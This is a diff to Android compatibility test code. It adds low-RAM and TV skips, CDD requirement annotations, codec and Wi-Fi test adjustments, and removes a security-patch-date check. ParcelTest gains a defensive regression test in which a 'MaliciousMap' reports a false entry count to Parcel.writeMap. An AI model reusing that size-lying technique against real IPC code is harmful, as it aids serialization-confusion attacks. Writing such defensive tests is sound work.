+import android.app.ActivityManager;
 import android.content.pm.PackageManager;
+import android.content.Context;
 import android.media.CamcorderProfile;
 import android.media.MediaCodecInfo.CodecCapabilities;
 import android.media.MediaCodecList;
@@ -512,6 +514,11 @@
     }
 
     public void testClearKeyPlaybackMpeg2ts() throws Exception {
+		if (isLowRam() && !isTV()) {
+            Log.d(TAG, "Skipping testClearKeyPlaybackMpeg2ts.");
+            return;
+        }
+
         testClearKeyPlayback(
             CLEARKEY_SCHEME_UUID,
             MIME_VIDEO_AVC, new String[0],
@@ -530,4 +537,13 @@
             MPEG2TS_CLEAR_URL, false,
             VIDEO_WIDTH_MPEG2TS, VIDEO_HEIGHT_MPEG2TS, false);
     }
+
+    private boolean isTV() {
+        return mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_LEANBACK_ONLY);
+    }
+
+    private boolean isLowRam() {
+        ActivityManager am = (ActivityManager) mContext.getSystemService(Context.ACTIVITY_SERVICE);
+        return am.isLowRamDevice();
+    }
 }
diff --git a/tests/tests/media/src/android/media/cts/MediaCasTest.java b/tests/tests/media/src/android/media/cts/MediaCasTest.java
index 97cdcdd..f3aaaab 100644
--- a/tests/tests/media/src/android/media/cts/MediaCasTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaCasTest.java
@@ -16,6 +16,9 @@
 
 package android.media.cts;
 
+import android.app.ActivityManager;
+import android.content.pm.PackageManager;
+import android.content.Context;
 import android.media.MediaCas;
 import android.media.MediaCas.PluginDescriptor;
 import android.media.MediaCas.Session;
@@ -142,6 +145,11 @@
             "65 79 69 6e 74 5f 6d 69  6e 3d 32 35 20 73 63 65" +
             "6e 65                                           " ;
 
+    @Override
+    public void setContext(Context context) {
+        super.setContext(context);
+    }
+
     /**
      * Test that all enumerated CA systems can be instantiated.
      *
@@ -151,6 +159,11 @@
      * be instantiated.
      */
     public void testEnumeratePlugins() throws Exception {
+        if (isLowRam() && !isTV()) {
+            Log.d(TAG, "Skipping testEnumeratePlugins.");
+            return;
+        }
+
         PluginDescriptor[] descriptors = MediaCas.enumeratePlugins();
         for (int i = 0; i < descriptors.length; i++) {
             Log.d(TAG, "desciptor[" + i + "]: id=" + descriptors[i].getSystemId()
@@ -193,6 +206,11 @@
     }
 
     public void testInvalidSystemIdFails() throws Exception {
+        if (isLowRam() && !isTV()) {
+            Log.d(TAG, "Skipping testInvalidSystemIdFails.");
+            return;
+        }
+
         assertFalse("Invalid id " + sInvalidSystemId + " should not be supported",
                 MediaCas.isSystemIdSupported(sInvalidSystemId));
 
@@ -224,6 +242,12 @@
     }
 
     public void testClearKeyPluginInstalled() throws Exception {
+        if (isLowRam() && !isTV()) {
+            Log.d(TAG, "Skipping testClearKeyPluginInstalled.");
+            return;
+        }
+
+
         PluginDescriptor[] descriptors = MediaCas.enumeratePlugins();
         for (int i = 0; i < descriptors.length; i++) {
             if (descriptors[i].getSystemId() == sClearKeySystemId) {
@@ -237,6 +261,11 @@
      * Test that valid call sequences succeed.
      */
     public void testClearKeyApis() throws Exception {
+        if (isLowRam() && !isTV()) {
+            Log.d(TAG, "Skipping testClearKeyApis.");
+            return;
+        }
+
         MediaCas mediaCas = null;
         MediaDescrambler descrambler = null;
 
@@ -316,6 +345,12 @@
      * Test that all sessions are closed after a MediaCas object is released.
      */
     public void testClearKeySessionClosedAfterRelease() throws Exception {
+        if (isLowRam() && !isTV()) {
+            Log.d(TAG, "Skipping testClearKeySessionClosedAfterRelease.");
+            return;
+        }
+
+
         MediaCas mediaCas = null;
         MediaDescrambler descrambler = null;
 
@@ -365,6 +400,11 @@
      * Test that invalid call sequences fail with expected exceptions.
      */
     public void testClearKeyExceptions() throws Exception {
+        if (isLowRam() && !isTV()) {
+            Log.d(TAG, "Skipping testClearKeyExceptions.");
+            return;
+        }
+
         MediaCas mediaCas = null;
         MediaDescrambler descrambler = null;
 
@@ -561,4 +601,14 @@
         }
         return Arrays.copyOfRange(tempArray, 0, i);
     }
+
+    private boolean isTV() {
+        return getContext().getPackageManager().hasSystemFeature(PackageManager.FEATURE_LEANBACK_ONLY);
+    }
+
+    private boolean isLowRam() {
+        ActivityManager am = (ActivityManager) mContext.getSystemService(Context.ACTIVITY_SERVICE);
+        return am.isLowRamDevice();
+    }
+
 }
diff --git a/tests/tests/media/src/android/media/cts/MediaCodecCapabilitiesTest.java b/tests/tests/media/src/android/media/cts/MediaCodecCapabilitiesTest.java
index 0ea3ae0..397d6f1 100644
--- a/tests/tests/media/src/android/media/cts/MediaCodecCapabilitiesTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaCodecCapabilitiesTest.java
@@ -186,8 +186,10 @@
             return; // skip
         }
 
-        String urlString = dynamicConfig.getValue(AVC_BASELINE_12_KEY);
-        playVideoWithRetries(urlString, 256, 144, PLAY_TIME_MS);
+        if (checkDecodeWithDefaultPlayer(MIMETYPE_VIDEO_AVC, AVCProfileBaseline, AVCLevel12)) {
+            String urlString = dynamicConfig.getValue(AVC_BASELINE_12_KEY);
+            playVideoWithRetries(urlString, 256, 144, PLAY_TIME_MS);
+        }
     }
 
     public void testAvcBaseline30() throws Exception {
@@ -195,8 +197,10 @@
             return; // skip
         }
 
-        String urlString = dynamicConfig.getValue(AVC_BASELINE_30_KEY);
-        playVideoWithRetries(urlString, 640, 360, PLAY_TIME_MS);
+        if (checkDecodeWithDefaultPlayer(MIMETYPE_VIDEO_AVC, AVCProfileBaseline, AVCLevel3)) {
+            String urlString = dynamicConfig.getValue(AVC_BASELINE_30_KEY);
+            playVideoWithRetries(urlString, 640, 360, PLAY_TIME_MS);
+        }
     }
 
     public void testAvcHigh31() throws Exception {
@@ -204,8 +208,10 @@
             return; // skip
         }
 
-        String urlString = dynamicConfig.getValue(AVC_HIGH_31_KEY);
-        playVideoWithRetries(urlString, 1280, 720, PLAY_TIME_MS);
+        if (checkDecodeWithDefaultPlayer(MIMETYPE_VIDEO_AVC, AVCProfileHigh, AVCLevel31)) {
+            String urlString = dynamicConfig.getValue(AVC_HIGH_31_KEY);
+            playVideoWithRetries(urlString, 1280, 720, PLAY_TIME_MS);
+        }
     }
 
     public void testAvcHigh40() throws Exception {
@@ -217,8 +223,10 @@
             return;
         }
 
-        String urlString = dynamicConfig.getValue(AVC_HIGH_40_KEY);
-        playVideoWithRetries(urlString, 1920, 1080, PLAY_TIME_MS);
+        if (checkDecodeWithDefaultPlayer(MIMETYPE_VIDEO_AVC, AVCProfileHigh, AVCLevel4)) {
+            String urlString = dynamicConfig.getValue(AVC_HIGH_40_KEY);
+            playVideoWithRetries(urlString, 1920, 1080, PLAY_TIME_MS);
+        }
     }
 
     public void testHevcMain1() throws Exception {
@@ -312,15 +320,26 @@
     }
 
     private boolean hasDecoder(String mime, int profile, int level) {
-        return supports(mime, false /* isEncoder */, profile, level);
+        return supports(mime, false /* isEncoder */, profile, level, false /* defaultOnly */);
     }
 
     private boolean hasEncoder(String mime, int profile, int level) {
-        return supports(mime, true /* isEncoder */, profile, level);
+        return supports(mime, true /* isEncoder */, profile, level, false /* defaultOnly */);
+    }
+
+    // Checks whether the default AOSP player can play back a specific profile and level for a
+    // given media type. If it cannot, it automatically logs that the test is skipped.
+    private boolean checkDecodeWithDefaultPlayer(String mime, int profile, int level) {
+        if (!supports(mime, false /* isEncoder */, profile, level, true /* defaultOnly */)) {
+            MediaUtils.skipTest(TAG, "default player cannot test codec");
+            return false;
+        }
+        return true;
     }
 
     private boolean supports(
-            String mime, boolean isEncoder, int profile, int level) {
+            String mime, boolean isEncoder, int profile, int level,
+            boolean defaultOnly) {
         MediaCodecList mcl = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
         for (MediaCodecInfo info : mcl.getCodecInfos()) {
             if (isEncoder != info.isEncoder()) {
@@ -344,6 +363,11 @@
                         return true;
                     }
                 }
+                // the default AOSP player picks the first codec for a specific mime type, so
+                // we can stop after the first one found
+                if (defaultOnly) {
+                    return false;
+                }
             } catch (IllegalArgumentException e) {
             }
         }
diff --git a/tests/tests/media/src/android/media/cts/MediaPlayerTestBase.java b/tests/tests/media/src/android/media/cts/MediaPlayerTestBase.java
index d2b7f23..ff8efc7 100644
--- a/tests/tests/media/src/android/media/cts/MediaPlayerTestBase.java
+++ b/tests/tests/media/src/android/media/cts/MediaPlayerTestBase.java
@@ -207,6 +207,7 @@
         boolean playedSuccessfully = false;
         for (int i = 0; i < STREAM_RETRIES; i++) {
           try {
+            mMediaPlayer.reset();
             mMediaPlayer.setDataSource(path);
             playLoadedVideo(width, height, playTime);
             playedSuccessfully = true;
@@ -239,6 +240,7 @@
         boolean playedSuccessfully = false;
         for (int i = 0; i < STREAM_RETRIES; i++) {
             try {
+                mMediaPlayer.reset();
                 mMediaPlayer.setDataSource(getInstrumentation().getTargetContext(),
                         uri, headers, cookies);
                 playLoadedVideo(width, height, playTime);
diff --git a/tests/tests/media/src/android/media/cts/MediaRouterTest.java b/tests/tests/media/src/android/media/cts/MediaRouterTest.java
index 8f2060d..4b91a79 100644
--- a/tests/tests/media/src/android/media/cts/MediaRouterTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaRouterTest.java
@@ -155,24 +155,11 @@
         Object tag = new Object();
         route.setTag(tag);
         assertEquals(tag, route.getTag());
-
         assertEquals(AudioManager.STREAM_MUSIC, route.getPlaybackStream());
-        if (RouteInfo.PLAYBACK_VOLUME_VARIABLE == route.getVolumeHandling()) {
-            int curVolume = route.getVolume();
-            int maxVolume = route.getVolumeMax();
-            assertTrue(curVolume <= maxVolume);
-            if (!mContext.getResources().getBoolean(
-                    com.android.internal.R.bool.config_safe_media_volume_enabled)) {
-                route.requestSetVolume(maxVolume);
-                assertEquals(maxVolume, route.getVolume());
-                route.requestUpdateVolume(-maxVolume);
-            } else {
-                route.requestSetVolume(0);
-            }
-            assertEquals(0, route.getVolume());
-            route.requestUpdateVolume(curVolume);
-            assertEquals(curVolume, route.getVolume());
-        }
+
+        int curVolume = route.getVolume();
+        int maxVolume = route.getVolumeMax();
+        assertTrue(curVolume <= maxVolume);
     }
 
     /**
diff --git a/tests/tests/midi/src/android/midi/cts/MidiEchoTest.java b/tests/tests/midi/src/android/midi/cts/MidiEchoTest.java
index a1a2156..27711ad 100644
--- a/tests/tests/midi/src/android/midi/cts/MidiEchoTest.java
+++ b/tests/tests/midi/src/android/midi/cts/MidiEchoTest.java
@@ -31,6 +31,8 @@
 import android.os.Bundle;
 import android.test.AndroidTestCase;
 
+import com.android.compatibility.common.util.CddTest;
+
 import java.io.IOException;
 import java.util.ArrayList;
 import java.util.Random;
@@ -326,6 +328,7 @@
         tearDownEchoServer(mc);
     }
 
+    @CddTest(requirement="5.9/C-1-2")
     public void testEchoSmallMessage() throws Exception {
         PackageManager pm = mContext.getPackageManager();
         if (!pm.hasSystemFeature(PackageManager.FEATURE_MIDI)) {
@@ -411,6 +414,7 @@
         tearDownEchoServer(mc);
     }
 
+    @CddTest(requirement="5.9/C-1-2")
     public void testEchoMultipleMessages() throws Exception {
         PackageManager pm = mContext.getPackageManager();
         if (!pm.hasSystemFeature(PackageManager.FEATURE_MIDI)) {
@@ -485,6 +489,7 @@
     }
 
     // What happens if the app does bad things.
+    @CddTest(requirement="5.9/C-1-2")
     public void testEchoBadBehavior() throws Exception {
         PackageManager pm = mContext.getPackageManager();
         if (!pm.hasSystemFeature(PackageManager.FEATURE_MIDI)) {
diff --git a/tests/tests/nativehardware/src/android/hardware/cts/AHardwareBufferNativeTest.java b/tests/tests/nativehardware/src/android/hardware/cts/AHardwareBufferNativeTest.java
index 94b25fb..aa6275f 100644
--- a/tests/tests/nativehardware/src/android/hardware/cts/AHardwareBufferNativeTest.java
+++ b/tests/tests/nativehardware/src/android/hardware/cts/AHardwareBufferNativeTest.java
@@ -19,11 +19,14 @@
 import android.content.pm.PackageManager;
 import android.test.AndroidTestCase;
 
+import com.android.compatibility.common.util.CddTest;
+
 /**
  * Check AHardwareBuffer functionality.
  *
  * This is the place to implement AHardwareBuffer NDK CTS tests.
  */
+@CddTest(requirement="7.9.2/C-1-10")
 public class AHardwareBufferNativeTest extends AndroidTestCase {
     protected native long nativeSetUp();
     protected native void nativeTearDown(long instance);
diff --git a/tests/tests/ndef/Android.mk b/tests/tests/ndef/Android.mk
index c355fa0..1ba0603 100644
--- a/tests/tests/ndef/Android.mk
+++ b/tests/tests/ndef/Android.mk
@@ -24,7 +24,7 @@
 # When built, explicitly put it in the data partition.
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner compatibility-device-util
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tests/tests/ndef/src/android/ndef/cts/NdefTest.java b/tests/tests/ndef/src/android/ndef/cts/NdefTest.java
index b0a838c..7b8cadb 100644
--- a/tests/tests/ndef/src/android/ndef/cts/NdefTest.java
+++ b/tests/tests/ndef/src/android/ndef/cts/NdefTest.java
@@ -24,6 +24,8 @@
 import android.nfc.NdefRecord;
 import android.nfc.FormatException;
 
+import com.android.compatibility.common.util.CddTest;
+
 import junit.framework.TestCase;
 
 /**
@@ -32,6 +34,7 @@
  * hardware is required, so these API's are mandatory even on Android
  * devices without NFC hardware.
  */
+@CddTest(requirement="7.4.4/C-0-1")
 public class NdefTest extends TestCase {
     static final Charset ASCII = Charset.forName("US-ASCII");
     static final Charset UTF8 = Charset.forName("UTF-8");
@@ -86,6 +89,7 @@
                 new byte[] {1,2,3}, new byte[] {4,5,6}, new byte[] {7,8,9})).hashCode());
     }
 
+    @CddTest(requirement="7.4.4/C-0-1")
     public void testInvalidParsing() throws FormatException {
         final byte[][] invalidNdefMessages = {
             {},                                    // too short
@@ -115,6 +119,7 @@
         }
     }
 
+    @CddTest(requirement="7.4.4/C-0-1")
     public void testValidParsing() throws FormatException {
         // short record
         assertEquals(new NdefMessage(new NdefRecord(NdefRecord.TNF_EMPTY, null, null, null)),
@@ -307,6 +312,7 @@
                 (byte) 0x6f, (byte) 0x6d}));
     }
 
+    @CddTest(requirement="7.4.4/C-0-1")
     public void testCreateUri() {
         assertEquals(new byte[] {
                 (byte)0xD1, 1, 8, 'U', (byte)0x01, 'n', 'f', 'c', '.', 'c', 'o', 'm'},
@@ -327,6 +333,7 @@
                 new NdefMessage(NdefRecord.createUri("\u00A2")).toByteArray());
     }
 
+    @CddTest(requirement="7.4.4/C-0-1")
     public void testCreateMime() {
         assertEquals(
                 new NdefRecord(NdefRecord.TNF_MIME_MEDIA, "text/plain".getBytes(ASCII), null,
@@ -385,6 +392,7 @@
                 NdefRecord.createExternal("A.b", "C!", null));
     }
 
+    @CddTest(requirement="7.4.4/C-0-1")
     public void testCreateApplicationRecord() throws FormatException {
         NdefMessage m;
         NdefRecord r;
@@ -431,6 +439,7 @@
         assertEquals("com.foo.bar".getBytes(), r.getPayload());
     }
 
+    @CddTest(requirement="7.4.4/C-0-1")
     public void testToByteArray() throws FormatException {
         NdefRecord r;
 
@@ -480,6 +489,7 @@
                 1,2,3,4,5,6,7,8,1,2,3,4,5,6,7,8,1,2,3,4,5,6,7,8,1,2,3,4,5,6,7,8,})).toByteArray());
     }
 
+    @CddTest(requirement="7.4.4/C-0-1")
     public void testToUri() {
         // absolute uri
         assertEquals(Uri.parse("http://www.android.com"),
@@ -516,6 +526,7 @@
         assertEquals(null, new NdefRecord(NdefRecord.TNF_EMPTY, null, null, null).toUri());
     }
 
+    @CddTest(requirement="7.4.4/C-0-1")
     public void testToMimeType() {
         assertEquals(null, NdefRecord.createUri("http://www.android.com").toMimeType());
         assertEquals(null, new NdefRecord(NdefRecord.TNF_EMPTY, null, null, null).toMimeType());
diff --git a/tests/tests/net/src/android/net/wifi/aware/cts/SingleDeviceTest.java b/tests/tests/net/src/android/net/wifi/aware/cts/SingleDeviceTest.java
index 87e22d8..5dce5ab 100644
--- a/tests/tests/net/src/android/net/wifi/aware/cts/SingleDeviceTest.java
+++ b/tests/tests/net/src/android/net/wifi/aware/cts/SingleDeviceTest.java
@@ -41,6 +41,8 @@
 import android.test.AndroidTestCase;
 import android.util.Log;
 
+import com.android.compatibility.common.util.CddTest;
+
 import java.util.ArrayDeque;
 import java.util.ArrayList;
 import java.util.HashSet;
@@ -54,6 +56,7 @@
  * Wi-Fi Aware CTS test suite: single device testing. Performs tests on a single
  * device to validate Wi-Fi Aware.
  */
+@CddTest(requirement="7.4.2.3/C-1-1")
 public class SingleDeviceTest extends AndroidTestCase {
     private static final String TAG = "WifiAwareCtsTests";
 
@@ -485,6 +488,7 @@
      * then the attach/destroy will not correspond to enable/disable and will not result in a new
      * MAC address being generated.
      */
+    @CddTest(requirement="7.4.2.3/C-1-4")
     public void testAttachDiscoveryAddressChanges() {
         if (!TestUtils.shouldTestWifiAware(getContext())) {
             return;
diff --git a/tests/tests/net/src/android/net/wifi/cts/ConcurrencyTest.java b/tests/tests/net/src/android/net/wifi/cts/ConcurrencyTest.java
index a066ba8..4187883 100644
--- a/tests/tests/net/src/android/net/wifi/cts/ConcurrencyTest.java
+++ b/tests/tests/net/src/android/net/wifi/cts/ConcurrencyTest.java
@@ -31,9 +31,12 @@
 import static android.net.wifi.p2p.WifiP2pManager.WIFI_P2P_STATE_ENABLED;
 import android.test.AndroidTestCase;
 
+import com.android.compatibility.common.util.CddTest;
+
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
 
+@CddTest(requirement="7.4.2.1/C-1-1,C-1-3")
 public class ConcurrencyTest extends AndroidTestCase {
     private class MySync {
         int expectedWifiState;
diff --git a/tests/tests/net/src/android/net/wifi/cts/WifiConfigurationTest.java b/tests/tests/net/src/android/net/wifi/cts/WifiConfigurationTest.java
index 4480a24..8b17a57 100644
--- a/tests/tests/net/src/android/net/wifi/cts/WifiConfigurationTest.java
+++ b/tests/tests/net/src/android/net/wifi/cts/WifiConfigurationTest.java
@@ -23,6 +23,9 @@
 import android.net.wifi.WifiManager;
 import android.test.AndroidTestCase;
 
+import com.android.compatibility.common.util.CddTest;
+
+@CddTest(requirement="7.4.2/C-1-1")
 public class WifiConfigurationTest extends AndroidTestCase {
     private  WifiManager mWifiManager;
     @Override
diff --git a/tests/tests/net/src/android/net/wifi/cts/WifiInfoTest.java b/tests/tests/net/src/android/net/wifi/cts/WifiInfoTest.java
index 5983cb7..c97f010 100644
--- a/tests/tests/net/src/android/net/wifi/cts/WifiInfoTest.java
+++ b/tests/tests/net/src/android/net/wifi/cts/WifiInfoTest.java
@@ -29,9 +29,11 @@
 import android.test.AndroidTestCase;
 
 import com.android.compatibility.common.util.PollingCheck;
+import com.android.compatibility.common.util.CddTest;
 
 import java.util.concurrent.Callable;
 
+@CddTest(requirement="7.4.2/C-1-1")
 public class WifiInfoTest extends AndroidTestCase {
     private static class MySync {
         int expectedState = STATE_NULL;
diff --git a/tests/tests/net/src/android/net/wifi/cts/WifiManagerTest.java b/tests/tests/net/src/android/net/wifi/cts/WifiManagerTest.java
index 89daca2..90540f4 100644
--- a/tests/tests/net/src/android/net/wifi/cts/WifiManagerTest.java
+++ b/tests/tests/net/src/android/net/wifi/cts/WifiManagerTest.java
@@ -37,6 +37,7 @@
 import android.test.AndroidTestCase;
 import android.util.Log;
 
+import com.android.compatibility.common.util.CddTest;
 import com.android.compatibility.common.util.WifiConfigCreator;
 
 import java.net.HttpURLConnection;
@@ -49,6 +50,7 @@
 import java.util.concurrent.TimeUnit;
 import java.util.concurrent.atomic.AtomicInteger;
 
+@CddTest(requirement="7.4.2/C-1-1")
 public class WifiManagerTest extends AndroidTestCase {
     private static class MySync {
         int expectedState = STATE_NULL;
@@ -586,6 +588,7 @@
      *
      * @throws Exception
      */
+    @CddTest(requirement="7.4.2.4/C-1-1,C-1-2,C-2-1")
     public void testAddPasspointConfigWithUserCredential() throws Exception {
         if (!WifiFeature.isWifiSupported(getContext())) {
             // skip the test if WiFi is not supported
@@ -600,6 +603,7 @@
      *
      * @throws Exception
      */
+    @CddTest(requirement="7.4.2.4/C-1-1,C-1-2,C-2-1")
     public void testAddPasspointConfigWithCertCredential() throws Exception {
         if (!WifiFeature.isWifiSupported(getContext())) {
             // skip the test if WiFi is not supported
@@ -614,6 +618,7 @@
      *
      * @throws Exception
      */
+    @CddTest(requirement="7.4.2.4/C-1-1,C-1-2,C-2-1")
     public void testAddPasspointConfigWithSimCredential() throws Exception {
         if (!WifiFeature.isWifiSupported(getContext())) {
             // skip the test if WiFi is not supported
@@ -833,10 +838,9 @@
 
         TestLocalOnlyHotspotCallback callback = startLocalOnlyHotspot();
 
-        // at this point, wifi should be off
-        assertFalse(mWifiManager.isWifiEnabled());
-
         stopLocalOnlyHotspot(callback, wifiEnabled);
+
+        // wifi should either stay on, or come back on
         assertEquals(wifiEnabled, mWifiManager.isWifiEnabled());
     }
 
@@ -848,7 +852,7 @@
      * tethering is started.
      * Note: Location mode must be enabled for this test.
      */
-    public void testSetWifiEnabledByAppDoesNotStopHotspot() {
+    public void testSetWifiEnabledByAppDoesNotStopHotspot() throws Exception {
         if (!WifiFeature.isWifiSupported(getContext())) {
             // skip the test if WiFi is not supported
             return;
@@ -860,15 +864,18 @@
 
         boolean wifiEnabled = mWifiManager.isWifiEnabled();
 
+        if (wifiEnabled) {
+            // disable wifi so we have something to turn on (some devices may be able to run
+            // simultaneous modes)
+            setWifiEnabled(false);
+        }
+
         TestLocalOnlyHotspotCallback callback = startLocalOnlyHotspot();
-        // at this point, wifi should be off
-        assertFalse(mWifiManager.isWifiEnabled());
 
         // now we should fail to turn on wifi
         assertFalse(mWifiManager.setWifiEnabled(true));
 
         stopLocalOnlyHotspot(callback, wifiEnabled);
-        assertEquals(wifiEnabled, mWifiManager.isWifiEnabled());
     }
 
     /**
@@ -892,9 +899,6 @@
 
         TestLocalOnlyHotspotCallback callback = startLocalOnlyHotspot();
 
-        // at this point, wifi should be off
-        assertFalse(mWifiManager.isWifiEnabled());
-
         // now make a second request - this should fail.
         TestLocalOnlyHotspotCallback callback2 = new TestLocalOnlyHotspotCallback(mLOHSLock);
         try {
@@ -903,9 +907,12 @@
             Log.d(TAG, "Caught the IllegalStateException we expected: called startLOHS twice");
             caughtException = true;
         }
+        if (!caughtException) {
+            // second start did not fail, should clean up the hotspot.
+            stopLocalOnlyHotspot(callback2, wifiEnabled);
+        }
         assertTrue(caughtException);
 
         stopLocalOnlyHotspot(callback, wifiEnabled);
-        assertEquals(wifiEnabled, mWifiManager.isWifiEnabled());
     }
 }
diff --git a/tests/tests/net/src/android/net/wifi/cts/WifiManager_WifiLockTest.java b/tests/tests/net/src/android/net/wifi/cts/WifiManager_WifiLockTest.java
index 3cdd56a..aeb1234 100644
--- a/tests/tests/net/src/android/net/wifi/cts/WifiManager_WifiLockTest.java
+++ b/tests/tests/net/src/android/net/wifi/cts/WifiManager_WifiLockTest.java
@@ -21,6 +21,9 @@
 import android.net.wifi.WifiManager.WifiLock;
 import android.test.AndroidTestCase;
 
+import com.android.compatibility.common.util.CddTest;
+
+@CddTest(requirement="7.4.2/C-1-1")
 public class WifiManager_WifiLockTest extends AndroidTestCase {
 
     private static final String WIFI_TAG = "WifiManager_WifiLockTest";
diff --git a/tests/tests/os/src/android/os/cts/FileAccessPermissionTest.java b/tests/tests/os/src/android/os/cts/FileAccessPermissionTest.java
index cd89e3d..98df29b 100644
--- a/tests/tests/os/src/android/os/cts/FileAccessPermissionTest.java
+++ b/tests/tests/os/src/android/os/cts/FileAccessPermissionTest.java
@@ -19,6 +19,8 @@
 import android.os.Environment;
 import android.test.AndroidTestCase;
 
+import com.android.compatibility.common.util.CddTest;
+
 import java.io.File;
 import java.io.FileInputStream;
 import java.io.FilenameFilter;
@@ -44,6 +46,7 @@
  *
  * TODO: Combine this file with {@link android.permission.cts.FileSystemPermissionTest}
  */
+@CddTest(requirement="9.3/C-0-1")
 public class FileAccessPermissionTest extends AndroidTestCase {
 
     /**
diff --git a/tests/tests/os/src/android/os/cts/ParcelTest.java b/tests/tests/os/src/android/os/cts/ParcelTest.java
index 305f0c8..8a221e6 100644
--- a/tests/tests/os/src/android/os/cts/ParcelTest.java
+++ b/tests/tests/os/src/android/os/cts/ParcelTest.java
@@ -19,7 +19,11 @@
 import java.io.FileDescriptor;
 import java.io.Serializable;
 import java.util.ArrayList;
+import java.util.Collection;
 import java.util.HashMap;
+import java.util.HashSet;
+import java.util.Map;
+import java.util.Set;
 
 import android.content.pm.Signature;
 import android.os.BadParcelableException;
@@ -3158,4 +3162,58 @@
         assertEquals(42, list.get(0).getValue());
         assertEquals(56, list.get(1).getValue());
     }
+
+    public void testMaliciousMapWrite() {
+        class MaliciousMap<K, V> extends HashMap<K, V> {
+            public int fakeSize = 0;
+            public boolean armed = false;
+
+            class FakeEntrySet extends HashSet<Entry<K, V>> {
+                public FakeEntrySet(Collection<? extends Entry<K, V>> c) {
+                    super(c);
+                }
+
+                @Override
+                public int size() {
+                    if (armed) {
+                        // Only return fake size on next call, to mitigate unexpected behavior.
+                        armed = false;
+                        return fakeSize;
+                    } else {
+                        return super.size();
+                    }
+                }
+            }
+
+            @Override
+            public Set<Map.Entry<K, V>> entrySet() {
+                return new FakeEntrySet(super.entrySet());
+            }
+        }
+
+        Parcel parcel = Parcel.obtain();
+
+        // Fake having more Map entries than there really are
+        MaliciousMap map = new MaliciousMap<String, String>();
+        map.fakeSize = 1;
+        map.armed = true;
+        try {
+            parcel.writeMap(map);
+            fail("Should have thrown a BadParcelableException");
+        } catch (BadParcelableException bpe) {
+            // good
+        }
+
+        // Fake having fewer Map entries than there really are
+        map = new MaliciousMap<String, String>();
+        map.put("key", "value");
+        map.fakeSize = 0;
+        map.armed = true;
+        try {
+            parcel.writeMap(map);
+            fail("Should have thrown a BadParcelableException");
+        } catch (BadParcelableException bpe) {
+            // good
+        }
+    }
 }
diff --git a/tests/tests/os/src/android/os/cts/SeccompTest.java b/tests/tests/os/src/android/os/cts/SeccompTest.java
index ab8958e..39c6b9c 100644
--- a/tests/tests/os/src/android/os/cts/SeccompTest.java
+++ b/tests/tests/os/src/android/os/cts/SeccompTest.java
@@ -34,6 +34,7 @@
 import android.util.Log;
 import android.test.AndroidTestCase;
 
+import com.android.compatibility.common.util.CddTest;
 import com.android.compatibility.common.util.CpuFeatures;
 import com.google.common.util.concurrent.AbstractFuture;
 
@@ -47,6 +48,7 @@
 import java.util.concurrent.TimeoutException;
 import java.util.Date;
 
+@CddTest(requirement="9.7/C-0-6")
 public class SeccompTest extends AndroidTestCase {
     final static String TAG = "SeccompTest";
 
diff --git a/tests/tests/os/src/android/os/cts/SecurityPatchTest.java b/tests/tests/os/src/android/os/cts/SecurityPatchTest.java
index d6fb646..7afeaa9 100644
--- a/tests/tests/os/src/android/os/cts/SecurityPatchTest.java
+++ b/tests/tests/os/src/android/os/cts/SecurityPatchTest.java
@@ -31,10 +31,6 @@
     private static final String TAG = SecurityPatchTest.class.getSimpleName();
     private static final String SECURITY_PATCH_ERROR =
             "ro.build.version.security_patch should be in the format \"YYYY-MM-DD\". Found \"%s\"";
-    private static final String SECURITY_PATCH_DATE_ERROR =
-            "ro.build.version.security_patch should be \"%d-%02d\" or later. Found \"%s\"";
-    private static final int SECURITY_PATCH_YEAR = 2016;
-    private static final int SECURITY_PATCH_MONTH = 12;
 
     private boolean mSkipTests = false;
 
@@ -77,32 +73,4 @@
         assertTrue(error, Character.isDigit(buildSecurityPatch.charAt(8)));
         assertTrue(error, Character.isDigit(buildSecurityPatch.charAt(9)));
     }
-
-    /** Security patch should no older than the month this test was updated in M or higher **/
-    public void testSecurityPatchDate() {
-        if (mSkipTests) {
-            Log.w(TAG, "Skipping M+ Test.");
-            return;
-        }
-
-        String buildSecurityPatch = Build.VERSION.SECURITY_PATCH;
-        String error = String.format(SECURITY_PATCH_DATE_ERROR,
-                                     SECURITY_PATCH_YEAR,
-                                     SECURITY_PATCH_MONTH,
-                                     buildSecurityPatch);
-
-        int declaredYear = 0;
-        int declaredMonth = 0;
-
-        try {
-            declaredYear = Integer.parseInt(buildSecurityPatch.substring(0,4));
-            declaredMonth = Integer.parseInt(buildSecurityPatch.substring(5,7));
-        } catch (Exception e) {
-            assertTrue(error, false);
-        }
-
-        assertTrue(error, declaredYear >= SECURITY_PATCH_YEAR);
-        assertTrue(error, (declaredYear > SECURITY_PATCH_YEAR) ||
-                          (declaredMonth >= SECURITY_PATCH_MONTH));
-    }
 }
diff --git a/tests/tests/packageinstaller/adminpackageinstaller/Android.mk b/tests/tests/packageinstaller/adminpackageinstaller/Android.mk
index 0e24292..adf0b2b 100755
--- a/tests/tests/packageinstaller/adminpackageinstaller/Android.mk
+++ b/tests/tests/packageinstaller/adminpackageinstaller/Android.mk
@@ -30,7 +30,8 @@
 	ub-uiautomator \
 	android-support-test \
 	android-support-v4 \
-	legacy-android-test
+	legacy-android-test \
+	compatibility-device-util
 
 LOCAL_SDK_VERSION := test_current
 
diff --git a/tests/tests/packageinstaller/adminpackageinstaller/src/android/packageinstaller/admin/cts/SessionCommitBroadcastTest.java b/tests/tests/packageinstaller/adminpackageinstaller/src/android/packageinstaller/admin/cts/SessionCommitBroadcastTest.java
index 17f97fe..55d0c3a 100644
--- a/tests/tests/packageinstaller/adminpackageinstaller/src/android/packageinstaller/admin/cts/SessionCommitBroadcastTest.java
+++ b/tests/tests/packageinstaller/adminpackageinstaller/src/android/packageinstaller/admin/cts/SessionCommitBroadcastTest.java
@@ -28,6 +28,8 @@
 import android.os.UserManager;
 import android.text.TextUtils;
 
+import com.android.compatibility.common.util.CddTest;
+
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
 
@@ -49,6 +51,7 @@
